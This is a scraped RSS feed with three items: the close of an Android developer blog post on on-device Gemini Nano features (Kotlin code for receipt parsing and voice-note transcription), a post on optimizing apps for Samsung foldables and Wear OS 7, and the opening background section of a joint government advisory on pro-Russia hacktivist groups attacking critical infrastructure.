<p>Finding the optimal prompt usually requires some iteration, and the AICore app is perfect for this step in the process. After opting into the <a href="https://developers.google.com/ml-kit/genai/aicore-dev-preview">developer preview option for AICore</a>, we can download preview models such as Gemini Nano 4 to test prompts and see the model’s expected outputs. With a few iterations on the prompt, we were able to improve the speed of the response from 13 seconds to under 2 seconds! Check out the final code implementation and prompt <a href="https://github.com/android/ai-samples/blob/40b999ef0e85693eac4de06e58335f0f5f125fa6/jetpacker/android/feature/trip/itinerary/enrichment/src/main/kotlin/com/example/jetpacker/feature/itinerary_enrichment/TripSummaryAndTipsProviderImpl.kt#L100" target="_blank">here</a>.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaY2Q7rzlrAj2i410lc3qqtKwI3m6ufAi27R5S94LVFJKEJPnxmvShIcAWdD_Cx9lhTz9tmKW_DVcmNg0rZFBKpqYj0M9niFJwa-AurlyV2SHuErI7Z9H59Q9S936I4ErUQ_NFRNSJpUBXwDVmw6vKNVpIkBrYPJNUpCIyNXl5Z17x7jEl5Kn9BGgFuLg/s553/Screen%20Recording%202026-07-02%20at%2012.28.51%E2%80%AFPM.gif"><img border="0" data-original-height="553" data-original-width="496" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaY2Q7rzlrAj2i410lc3qqtKwI3m6ufAi27R5S94LVFJKEJPnxmvShIcAWdD_Cx9lhTz9tmKW_DVcmNg0rZFBKpqYj0M9niFJwa-AurlyV2SHuErI7Z9H59Q9S936I4ErUQ_NFRNSJpUBXwDVmw6vKNVpIkBrYPJNUpCIyNXl5Z17x7jEl5Kn9BGgFuLg/w359-h400/Screen%20Recording%202026-07-02%20at%2012.28.51%E2%80%AFPM.gif" width="359"></a></div>

<div><span><span><i>The first iteration of our prompt generated way too many tokens, and optimizing it helped keep responses quick and to the point.</i></span></span></div>

<h2>Local processing for sensitive user input</h2>

<p>Next, to help users enjoy their trip even more, we’ll build a simple expense manager that takes the manual work out of sorting through receipts and calculating budgets.</p>
<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsHCjYJhDefKk1_FHnyB8mXO6XGrVWPrWkkxUikHNrWly2YqLjD8GyN-qGXOBlZCJPug-VbVgBr8awg8I-TEl6d9udKhq_zKem9Xcdb7FzFlA4B77Iko2Rbf8R0XIPB30owcMoh-7KJ1paQnzDrNHSdvwYotNxt166QqJdNAf1d8wEwIFkL9qIEYUKmoQ/s1282/7.13_BlogGif_Transparent.gif"><img border="0" data-original-height="1282" data-original-width="613" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsHCjYJhDefKk1_FHnyB8mXO6XGrVWPrWkkxUikHNrWly2YqLjD8GyN-qGXOBlZCJPug-VbVgBr8awg8I-TEl6d9udKhq_zKem9Xcdb7FzFlA4B77Iko2Rbf8R0XIPB30owcMoh-7KJ1paQnzDrNHSdvwYotNxt166QqJdNAf1d8wEwIFkL9qIEYUKmoQ/w191-h400/7.13_BlogGif_Transparent.gif" width="191"></a></div>
<br>
  
<div><span><span><i>Taking a photo of a restaurant bill, data is parsed and shown in the expense overview screen of the app.</i></span></span></div>

<p>Since receipts might contain sensitive information like credit card number and addresses, this is another great use case for an on-device solution. With on-device, users can be confident that private information will be processed locally on the device without any of their data being sent to the cloud.</p>

<p>In addition, Gemini Nano 4 has improved model capabilities for multimodality, especially for image understanding tasks like OCR and visual data extraction, making it a great solution for tasks like extracting information from receipts.</p>

<p>For this use case, the prompt will analyze an image of the receipt, and output information such as: a generated title, amount spent and category of the expense. To ensure the model outputs the information in the preferred format, we can use <a href="https://developers.google.com/ml-kit/genai/prompt/android/structured-output">ML Kit’s Structured Output API</a> to seamlessly output a Kotlin data object that we define.</p>

<pre><code>// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3")
// ksp("com.google.mlkit:genai-schema-compiler:1.0.0-alpha1")

@Generable("Information extracted from an expense receipt")
data class ParsedReceipt(
  @Guide("Generated title for the expense less than 6 words. Based on restaurant or activity name.")
  val title: String,
  @Guide("Total amount of the expense. Look for values at the bottom and words like total or balance due.")
  val amount: Double,
  @Guide("Type of expense", enumValues = ["travel", "food", "shopping", "entertainment", "other"])
  val category: String,
)

val prompt = "Determine if the image is a receipt or expense. 
    If it is NOT a receipt or expense, output the text 'NOT_A_RECEIPT'.
    Otherwise, parse the receipt information."

val request = generateContentRequest(ImagePart(bitmap), TextPart(prompt)) {}
val requestWithStructuredOutput = generateTypedContentRequest(request, ParsedReceipt::class)

// Define the configuration for Gemini Nano 4 E4B preview model  
// When selecting models, you can specify which performance charactertists are most important
//  for your use case. Use ModelPreference.FULL when you want to prioritize reasoning power over speed. 
//  Use ModelPreference.FAST when complex logic is not required and latency is a priority.
val previewFullConfig = generationConfig {
    modelConfig = modelConfig {
        releaseStage = ModelReleaseStage.PREVIEW
        preference = ModelPreference.FULL
    }
}

val geminiNano4BPreviewModel = Generation.getClient(previewFullConfig)
val response = geminiNano4BPreviewModel.generateContent(requestWithStructuredOutput)
val parsedReceipt: ParsedReceipt? = response.candidates.firstOrNull()?.response</code></pre>

<h2>Multimodal input</h2>

<p>Lastly, to help users record audio memos during the trip, let’s build a fully on-device voice notes feature. Using <a href="https://developers.google.com/ml-kit/genai/speech-recognition/android">ML Kit’s Speech Recognition API</a>, we’ll enable users to record short voice notes that are automatically transcribed to text. With the transcribed text, we’ll use ML Kit’s Prompt API to identify which trip activity is associated with the recorded voice note, letting users easily recap their trip as they scroll through the trip’s itinerary.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnAm4XPVEJkfPmRFKJWh2sS-4rVz_eFollYxU5DWb7kAkSQdP4xhAEosziS_vpxv6yoAkvHiSp6SGYOp2_qp_cJWgfbJGnDOadaMP6Bc30a6rYnSP34sEubNAWXqsmd3cpYOoL8rCUhQn0_4GT3165aSFinlnHZjVnXYNYBAw8AdVtJpuRG2gDbi-uRII/s2499/Screenshot_20260702_115529.png"><img border="0" data-original-height="2499" data-original-width="1183" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnAm4XPVEJkfPmRFKJWh2sS-4rVz_eFollYxU5DWb7kAkSQdP4xhAEosziS_vpxv6yoAkvHiSp6SGYOp2_qp_cJWgfbJGnDOadaMP6Bc30a6rYnSP34sEubNAWXqsmd3cpYOoL8rCUhQn0_4GT3165aSFinlnHZjVnXYNYBAw8AdVtJpuRG2gDbi-uRII/w189-h400/Screenshot_20260702_115529.png" width="189"></a></div>

<p><em>The Roman holiday itinerary shows voice note extracts.</em></p>

<p>The <a href="https://developers.google.com/ml-kit/genai/speech-recognition/android">ML Kit GenAI Speech Recognition API </a>allows you to transcribe audio content to text fully on-device using two distinct modes. <b>Basic mode</b> uses a traditional on-device speech recognition model and is available on most Android devices with API level 31 and higher. <b>Advanced mode</b> uses Gemini Nano to offer broader language coverage and better quality, and is currently supported on Pixel 10 devices.</p>

<p>For our feature we combine the Speech Recognition API with the ML Kit GenAI Prompt API:</p>

<pre><code>// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3")
// implementation("com.google.mlkit:genai-speech-recognition:1.0.0-alpha1")

val tripEvents = ... 

// Set up speech recognition
val speechRecognizerOptions =
    speechRecognizerOptions {
        locale = Locale.US
        preferredMode = SpeechRecognizerOptions.Mode.MODE_ADVANCED
    }
val speechRecognizer: SpeechRecognizer = SpeechRecognition.getClient(speechRecognizerOptions)

suspend fun transcribeVoiceNote(recognizer: SpeechRecognizer) {
    // Display partial text as the user is recording audio
    var partialTextResponse = ""

    // Display the full text once user is finished recording audio
    var transcription = ""

    val request: SpeechRecognizerRequest
        = speechRecognizerRequest { audioSource = AudioSource.fromMic() }
    recognizer.startRecognition(request).collect { response -&gt;
        when (response) {
            is SpeechRecognizerResponse.PartialTextResponse -&gt; {
                partialTextResponse = response.text
            }
            is SpeechRecognizerResponse.FinalTextResponse -&gt; {
                transcription = response.text
                processAndCategorizeVoiceNote(transcription, tripEvents)
            }
        }
    }
}

fun processAndCategorizeVoiceNote(transcribedVoiceNote: String, events: List<event>) {
    val prompt = "Given the voice note $transcribedVoiceNote
     and the following events for this trip: $events, rewrite this transcription
     to remove filler words. Then, identify which events from the
     list this rewritten transcription matches to."

     // Utilize ML Kit's Prompt API to process voice note and tag it with the relevant trip activities
     Generation.getClient().generateContent(prompt)
}</event></code></pre>

<h2>Conclusion</h2>

<p>Using ML Kit’s GenAI APIs, we were able to take advantage of Gemini Nano to develop fully on-device intelligent features for the JetPacker app, and provide an improved user experience without any additional cloud costs.</p>

<p>Check out the full source code for <a href="https://github.com/android/ai-samples/tree/main/jetpacker" target="_blank">Jetpacker on Github</a>, and watch the video <a href="https://www.youtube.com/watch?v=_iuXykdlTkk">Build Intelligent Android apps with Google’s AI</a> to learn more about how to integrate intelligent features directly into your app using on-device models, cloud-powered reasoning, and the latest agentic frameworks.</p><h2>Learn more</h2>

<p>Check out the other parts of this blog post series:</p><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html"><b>Part 1:</b></a> Introduction of the app and a high-level overview.<br><a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html"><b>Part 2 (this post!):</b></a> On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html"><b>Part 3:</b> </a>Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-appfunctions.html"><b>Part 4:</b></a> System integration. Integrating with the Android intelligence system using AppFunctions.<br>Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.

<p>Interested in more on Android Development? Follow Android Developers on <a href="https://www.youtube.com/@AndroidDevelopers">YouTube</a> or <a href="https://www.linkedin.com/showcase/androiddev/">LinkedIn</a>!</p>

<p>All code snippets in this blog post follow the following copyright notice:<br>
</p><pre><code>Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0</code></pre><p></p></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Optimize your apps for the next generation of Samsung Galaxy devices]]></title>
<description><![CDATA[Posted by Fahd Imtiaz, Senior Product Manager and Miguel Montemayor, Developer Relations Engineer, Android Developer ExperienceToday at Galaxy Unpacked, Samsung unveiled its latest lineup of foldable and wearable devices. For developers, this means that the variety of form factors, screen sizes, ...]]></description>
<link>https://tsecurity.de/de/3693491/android-tipps/optimize-your-apps-for-the-next-generation-of-samsung-galaxy-devices/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693491/android-tipps/optimize-your-apps-for-the-next-generation-of-samsung-galaxy-devices/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:16 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiV-c747avSj9Z8JO4DTK4kSfO3SjSpd5aTuVvR_TBeD3bXV6cc8lzNLGrWCngNXdyZBeiNjQqwQZCcU4QCrovwL99gu0t5bQrlTXa0PIBGIivwyS8y226MgeraphZr4VITWYe0x7ckFto0dsD8rBLM1J_P3dV0CBj5Ctlwm8jsgAPZA7W2XnKnRz59H9I/s2049/MM_Adaptive_and_device_Meta%20(1).png"><div>



<div><div class="separator"><i>Posted by Fahd Imtiaz, Senior Product Manager and Miguel Montemayor, Developer Relations Engineer, Android Developer Experience</i></div></div><div><i><br></i></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGrEplk_My1fOfyw851kt92Jc2wyODN6bwWJaL5EGFV6_5grP3-pS7jrMzI4MOXgo1W1yVHcwj8J7AIO3olxlHDoNWxzTTlQLc9_D6CWB6bUtWLyvxmXN-JQQ92_HWYErsdMVuNkynTjXpZSKoaUTFiY_4aiffEDsfdCrl9om05MRVqqMac0YGExE4XLQ/s4210/MM_Adaptive_and_device_Blog.png"><img border="0" data-original-height="1254" data-original-width="4210" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGrEplk_My1fOfyw851kt92Jc2wyODN6bwWJaL5EGFV6_5grP3-pS7jrMzI4MOXgo1W1yVHcwj8J7AIO3olxlHDoNWxzTTlQLc9_D6CWB6bUtWLyvxmXN-JQQ92_HWYErsdMVuNkynTjXpZSKoaUTFiY_4aiffEDsfdCrl9om05MRVqqMac0YGExE4XLQ/s1600/MM_Adaptive_and_device_Blog.png"></a></div><br><i><br></i><p>Today at Galaxy Unpacked, Samsung <a href="https://blog.google/products-and-platforms/platforms/android/galaxy-unpacked-2026" target="_blank">unveiled</a> its latest lineup of foldable and wearable devices. For developers, this means that the variety of form factors, screen sizes, and device postures your app needs to support is expanding once again.</p>

<p>With devices like the Galaxy Z Fold8, the ecosystem is expanding to include hardware with a landscape-first natural orientation and a wider aspect ratio in its main display state. Whether a user is unfolding a large display, flipping open a cover screen, or glancing at their wrist, users expect a flawless experience. To help you meet this moment, we’re sharing actionable guidance and new tooling updates to enable you to build adaptively proactively.</p>

<div class="separator">
  </div>

<h2>Rethink layout architecture for dynamic displays, including ultra-wide foldables</h2>

<p>Building for the latest foldables means dropping assumptions about display orientation and size. This is especially true for the Galaxy Z Fold8, which adopts an ultra-wide display, adding to the variety of aspect ratios to account for.  Devices with this landscape-first natural orientation show the limitations of hardcoded layout rules when users unfold the device. That’s why we’ve introduced <a href="https://developer.android.com/develop/adaptive-apps/guides/foldables/trifolds-and-landscape-foldables" target="_blank">dedicated guidance for building for landscape foldables and trifolds.</a></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrdDMq9mmhR2NzEVD5cgQgT3Y5DgMZOV5FrjsJb-wSiZVvJjIiDQuUkfv0cjBHQMREjOKPqz9n6wPf-x5Hn6H7uT2_JiXA3Nykcr1UwnwDRK9jGFurhTRKR-5t1BN62ISXFznXhQ_e-03Mo6uIh5-BDVmNbA1Q4RY9rSg4VxBO0K6E6Dc4kViNpvuYefY/s1302/Samsung%20fold8%20phones.png"><img border="0" data-original-height="442" data-original-width="1302" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrdDMq9mmhR2NzEVD5cgQgT3Y5DgMZOV5FrjsJb-wSiZVvJjIiDQuUkfv0cjBHQMREjOKPqz9n6wPf-x5Hn6H7uT2_JiXA3Nykcr1UwnwDRK9jGFurhTRKR-5t1BN62ISXFznXhQ_e-03Mo6uIh5-BDVmNbA1Q4RY9rSg4VxBO0K6E6Dc4kViNpvuYefY/s1600/Samsung%20fold8%20phones.png"></a></div><br><p>To build a responsive UI that handles these physics seamlessly, focus on the following core pillars:</p>

<p></p><ul><li><b>Build fluid, adaptive layouts: </b>Wide aspect ratios and compact vertical heights require fluid UIs that scale responsively. Our updated <a href="https://developer.android.com/design/ui/mobile/guides/layout-and-content/adapt-layout" target="_blank">adaptive design guidance</a> advises considering the window class width first to determine layout changes, then adjusting for height. To let individual components fluidly adapt to the grid, structure your layout using flexible containers that allow your content to automatically wrap, span, and reflow. For design inspiration browse our <a href="https://developer.android.com/design/ui/gallery/social/pawparazzi" target="_blank">adaptive sample app</a> and <a href="https://developer.android.com/design/ui/gallery/social/dual-screen?hl=en" target="_blank">dual-screen</a> design galleries.</li><li><b>Track actual app space:</b> Your app's display space rarely matches the physical device size, especially on an ultra-wide screen during multi-window, split-screen, or multitasking states. Sometimes even the orientations differ. Leverage <a href="https://developer.android.com/develop/adaptive-apps/guides/use-window-size-classes?hl=en" target="_blank">Window Size Classes</a> using the <a href="https://developer.android.com/blog/posts/jetpack-window-manager-1-5-is-stable" target="_blank">Jetpack Window Manager library</a> to calculate the exact space your app occupies.</li></ul><div><br></div>
  
<div class="separator">
  </div></div><div class="separator"><br></div><div class="separator"><div class="separator"><ul><li><b>Leverage the latest Jetpack Compose Update: </b>Start by adopting the stable <a href="https://android-developers.googleblog.com/2026/04/jetpack-compose-april-2026-updates.html" target="_blank">Jetpack Compose April '26 release</a> (<a href="https://developer.android.com/develop/ui/compose/bom" target="_blank">Compose BOM</a> version <code>2026.04.01</code>).Take advantage of the new structural layout tools to manage complex architectures. The new <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/grid" target="_blank">Grid</a> API allows you to define dynamic tracks and column spans without the performance overhead of a lazy list. Pair Grid with the new <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/flexbox" target="_blank">FlexBox</a> layout API to easily handle multi-axis alignment and dynamic item wrapping. You can also use the new <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/mediaquery" target="_blank">MediaQuery</a> API to adapt your UI to its environment, using conditions to detect signals like device posture, window size, and keyboard types. </li><li><b>Make your app fold aware: </b>Use the Jetpack WindowManager library, which provides an API surface for foldable device window features such as folds and hinges. When your app is<a href="https://developer.android.com/develop/adaptive-apps/guides/foldables/make-your-app-fold-aware" target="_blank"> fold aware</a>, it can adapt its layout to avoid placing important content in the area of folds or hinges and use folds and hinges as natural separators.</li><li><b>Maintain app continuity:</b> Avoid breaking the user journey when the device configuration shifts. Retain your UI state using <a href="https://developer.android.com/topic/libraries/architecture/viewmodel?hl=en" target="_blank">ViewModel</a> to ensure smooth transitions when a user folds or unfolds their device.</li></ul><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdxp09YbiUc9EzTGhIJ2fcoV67rLKb6Sm9UOVCISO4Xa0VVVnFUJG9PXSAYCq7gnHILLx8xoIx-L2C0blhugbADUa3nM0AOx8UQzGImu194B94Kt-CKAuK1CrGHUz10fBFs02Lmly-HO-fmBHFuZ9knuYRb6EP9v4-SpR7Ja-oeJZErJDUVEgEje0d7J8/s1920/7.22_MorphToTablet_Gif.gif"><img border="0" data-original-height="1080" data-original-width="1920" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdxp09YbiUc9EzTGhIJ2fcoV67rLKb6Sm9UOVCISO4Xa0VVVnFUJG9PXSAYCq7gnHILLx8xoIx-L2C0blhugbADUa3nM0AOx8UQzGImu194B94Kt-CKAuK1CrGHUz10fBFs02Lmly-HO-fmBHFuZ9knuYRb6EP9v4-SpR7Ja-oeJZErJDUVEgEje0d7J8/w640-h360/7.22_MorphToTablet_Gif.gif" width="640"></a></div><div><h2>Ensure seamless camera capture on foldable devices</h2><div>Camera implementation on foldables brings unique hardware quirks. Moving from a compact outer display to an expanded inner display introduces distinct layout aspect ratios while device rotation remains unchanged. If an app assumes a fixed portrait relationship between the camera sensor and the device layout, the app will likely suffer from sideways, stretched, or cropped previews during these folding transitions.</div><div> </div><div>When optimizing your app's media pipeline, migrate your capture experiences to <a href="https://developer.android.com/media/camera/camerax" target="_blank">CameraX</a> using the CameraX migration <a href="https://github.com/android/skills/blob/main/camera/camerax/SKILL.md">skill</a>. The library’s <a href="https://developer.android.com/reference/kotlin/androidx/camera/view/PreviewView" target="_blank">PreviewView</a> automatically handles sensor orientation, device rotation, and scaling behind the scenes. This guarantees a clean, stable preview regardless of how the user holds or positions the device. If you are maintaining an existing Camera2 codebase, integrate the <a href="https://developer.android.com/develop/adaptive-apps/guides/foldables/trifolds-and-landscape-foldables#solution_2_cameraviewfinder" target="_blank">CameraViewfinder</a> library to apply these complex aspect ratio and rotation transformations automatically without needing a total architecture overhaul.</div></div><h2>Extend glanceable interactions to Wear OS 7</h2><div>The opportunity to build for this new generation of devices extends right to the wrist. Launching with Wear OS 7, Wear Widgets give you a fresh surface to provide users with instant, glanceable access to their essential updates. You can build these highly expressive experiences using <a href="https://developer.android.com/jetpack/androidx/releases/glance-wear" target="_blank">Jetpack Glance</a> and <a href="https://developer.android.com/jetpack/androidx/releases/compose-remote" target="_blank">RemoteCompose</a>. Crucially, Widgets built with this framework can now populate multi-widget tiles that were previously reserved for first-party widgets. </div><div><br></div>
    
 <div class="separator">
  </div><div class="separator"><h2>Build intelligent features </h2><div class="separator"><a href="https://blog.google/products-and-platforms/platforms/android/gemini-intelligence/" target="_blank">Gemini intelligence </a>already completes tasks on users’ behalf, and you can <a href="https://developer.android.com/ai/appfunctions?_gl=1*1jms098*_up*MQ..*_ga*MjY0OTY0MDI3LjE3ODQzMzI1NDk.*_ga_6HH9YJMN9M*czE3ODQzMzI1NDkkbzEkZzAkdDE3ODQzMzI1NDkkajYwJGwwJGgxNjE0MTMzNjEz" target="_blank">experiment</a> with the intelligence system by sharing your apps capabilities. </div><div class="separator"><br></div><div class="separator">Samsung’s new foldable devices come with Gemini Nano 4, our latest on-device model. Nano 4 provides support for over 140 languages, better multimodal understanding, and <a href="https://developers.google.com/ml-kit/release-notes#july_14_2026" target="_blank">much more</a>. Use <a href="https://developers.google.com/ml-kit/genai/prompt/android" target="_blank">ML Kit’s Prompt API</a> with advanced features like s<a href="https://developers.google.com/ml-kit/genai/prompt/android/structured-output" target="_blank">tructured output</a> and <a href="https://developers.google.com/ml-kit/genai/prompt/android/thinking-mode" target="_blank">thinking mode</a> to build intelligent features on-device. </div><div class="separator"><h2>Start optimizing today</h2><div class="separator">The tools and frameworks are ready to help you optimize your app for all screen sizes. Begin by exploring our guidance for <a href="https://developer.android.com/develop/adaptive-apps" target="_blank">building adaptive apps </a>to learn more about core adaptive design principles. </div><div class="separator"><br></div><div class="separator">To dive deeper, check out our comprehensive <a href="https://www.youtube.com/playlist?list=PLD2U7gd1-ieo" target="_blank">YouTube playlist</a>. Finally, ensure your app delivers a flawless, premium experience on the newest form factors by reviewing our dedicated quality guidelines for <a href="https://developer.android.com/develop/adaptive-apps/guides/foldables/trifolds-and-landscape-foldables" target="_blank">trifolds and landscape foldables</a> and <a href="https://developer.android.com/design/ui/wear/guides/get-started?hl=en" target="_blank">WearOS</a>. </div><div class="separator"><br></div><div class="separator">Unfold the future today! </div></div></div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure]]></title>
<description><![CDATA[Summary
Note: This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet Primary Mitigations to Reduce Cyber Threats to Operational Technology and European Cybercrime Centre’s (EC3) Operation Eas...]]></description>
<link>https://tsecurity.de/de/3693383/sicherheitsluecken/pro-russia-hacktivists-conduct-opportunistic-attacks-against-us-and-global-critical-infrastructure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693383/sicherheitsluecken/pro-russia-hacktivists-conduct-opportunistic-attacks-against-us-and-global-critical-infrastructure/</guid>
<pubDate>Sat, 25 Jul 2026 09:15:46 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><strong>Summary</strong></h2>
<p><strong>Note:</strong> This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet <a href="https://www.cisa.gov/resources-tools/resources/primary-mitigations-reduce-cyber-threats-operational-technology" title="Primary Mitigations to Reduce Cyber Threats to Operational Technology">Primary Mitigations to Reduce Cyber Threats to Operational Technology</a> and European Cybercrime Centre’s (EC3) <a href="https://www.europol.europa.eu/media-press/newsroom/news/global-operation-targets-noname05716-pro-russian-cybercrime-network" target="_blank" title="Operation Eastwood" data-entity-type="external">Operation Eastwood</a>, in which CISA, Federal Bureau of Investigation (FBI), Department of Energy (DOE), Environmental Protection Agency (EPA), and EC3 shared information about cyber incidents affecting the operational technology (OT) and industrial control systems (ICS) of critical infrastructure entities in the United States and globally.</p>
<p>FBI, CISA, National Security Agency (NSA), and the following partners—hereafter referred to as “the authoring organizations”—are releasing this joint advisory on the targeting of critical infrastructure by pro-Russia hacktivists:</p>
<ul>
<li>U.S. Department of Energy (DOE)</li>
<li>U.S. Environmental Protection Agency (EPA)</li>
<li>U.S. Department of Defense Cyber Crime Center (DC3)</li>
<li>Europol European Cybercrime Centre (EC3)</li>
<li>EUROJUST – European Union Agency for Criminal Justice Cooperation</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>Canadian Security Intelligence Service (CSIS)</li>
<li>Czech Republic Military Intelligence (VZ)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)</li>
<li>Czech Republic National Centre Against Terrorism, Extremism, and Cyber Crime (NCTEKK)</li>
<li>French National Cybercrime Unit – Gendarmerie Nationale (UNC)</li>
<li>French National Jurisdiction for the Fight Against Organized Crime (JUNALCO)</li>
<li>German Federal Office for Information Security (BSI)</li>
<li>Italian State Police (PS)</li>
<li>Latvian State Police (VP)</li>
<li>Lithuanian Criminal Police Bureau (LKPB)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>Romanian National Police (PR)</li>
<li>Spanish Civil Guard (GC)</li>
<li>Spanish National Police (CNP)</li>
<li>Swedish Polisen (SC3)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
</ul>
<p>The authoring organizations assess pro-Russia hacktivist groups are conducting less sophisticated, lower-impact attacks against critical infrastructure entities, compared to advanced persistent threat (APT) groups. These attacks use minimally secured, internet-facing virtual network computing (VNC) connections to infiltrate (or gain access to) OT control devices within critical infrastructure systems. Pro-Russia hacktivist groups—Cyber Army of Russia Reborn (CARR), Z-Pentest, NoName057(16), Sector16, and affiliated groups—are capitalizing on the widespread prevalence of accessible VNC devices to execute attacks against critical infrastructure entities, resulting in varying degrees of impact, including physical damage. Targeted sectors include <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Systems">Water and Wastewater Systems</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/food-and-agriculture-sector" title="Food and Agriculture Sector">Food and Agriculture</a>, and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy Sector">Energy</a>.</p>
<p>The authoring organizations encourage critical infrastructure organizations to implement the recommendations in the <a href="https://www.cisa.gov/#Mitigations" title="Mitigations"><strong>Mitigations </strong></a>section of this advisory to reduce the likelihood and impact of pro-Russia hacktivist-related incidents. For additional information on Russian state-sponsored malicious cyber activity, see CISA’s <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/russia" title="Russia Threat Overview and Advisories">Russia Threat Overview and Advisories</a> webpage.</p>
<p>Download the PDF version of this report:</p>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2025-12/aa25-343a-pro-russia-hacktivists-conduct-attacks_0.pdf" class="c-file__link" target="_blank">Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure</a>
    <span class="c-file__size">(PDF,       1.53 MB
  )</span>
  </div>
</div>
<h2><strong>Background and Development of Pro-Russia Hacktivist Groups</strong></h2>
<p>Over the past several years, the authoring organizations have observed pro-Russia hacktivist groups conducting cyber operations against numerous organizations and critical infrastructure sectors worldwide. The escalation of the Russia-Ukraine conflict in 2022 significantly increased the number of these pro-Russia groups. Consisting of individuals who support Russia’s agenda but lack direct governmental ties, most of these groups target Ukrainian and allied infrastructure. However, among the increasing number of groups, some appear to have associations with the Russian state through direct or indirect support.</p>
<h3><strong>Cyber Army of Russia Reborn</strong></h3>
<p>The authoring organizations assess that the Russian General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455—tracked in the cybersecurity community under several names (see<strong> </strong><a href="https://www.cisa.gov/#AppB" title="Appendix B"><strong>Appendix B: Additional Designators Used for Cited Groups</strong></a>)—is likely responsible for supporting the creation of CARR —also known as “The People’s Cyber Army of Russia”—in late February or early March of 2022. Actors suspected to be from GRU unit 74455 likely funded the tools CARR threat actors used to conduct distributed denial-of-service (DDoS) attacks through at least September 2024.</p>
<p>In April 2022, the group began using a new Telegram channel featuring the name “CyberArmyofRussia_Reborn” to organize and plan group actions. The channel creators recruited actors to use CARR as an unattributable platform for conducting cyber activities beneath the level of an APT, aimed at deterring anti-Russia rhetoric. CARR threat actors presented themselves as a group of pro-Russia hacktivists supporting Russia’s stance on the Ukrainian conflict, and they soon began claiming responsibility for DDoS attacks against the U.S. and Europe for supporting Ukraine.</p>
<p>CARR documented these actions through embellished images and videos shared on their social media channels, promoting Russian ideology, disseminating talking points, and publicizing leaked information from hacks attributed to Russian state threat actors.</p>
<p>In late 2023, CARR expanded their operations to include attacks on industrial control systems (ICS), claiming an intrusion against a European wastewater treatment facility in October 2023. In November 2023, CARR targeted human-machine interface (HMI) devices, claiming intrusions at two U.S. dairy farms.</p>
<p>The authoring organizations assess that by late September 2024, CARR channel administrators became dissatisfied with the level of support and funding provided by the GRU. This dissatisfaction led CARR administrators and an administrator from another hacktivist group, NoName057(16), to create the Z-Pentest group, employing the same tactics, techniques, and procedures (TTPs) as CARR but separate from GRU involvement.</p>
<h3><strong>NoName057(16)</strong></h3>
<p>The authoring organizations assess that the Center for the Study and Network Monitoring of the Youth Environment (CISM), established on behalf of the Kremlin, created NoName057(16) as a covert project within the organization. Senior executives and employees within CISM developed and customized the NoName057(16) proprietary DDoS tool <code>DDoSia</code>, paid for the group’s network infrastructure, served as administrators on NoName057(16) Telegram channels, and selected DDoS targets.</p>
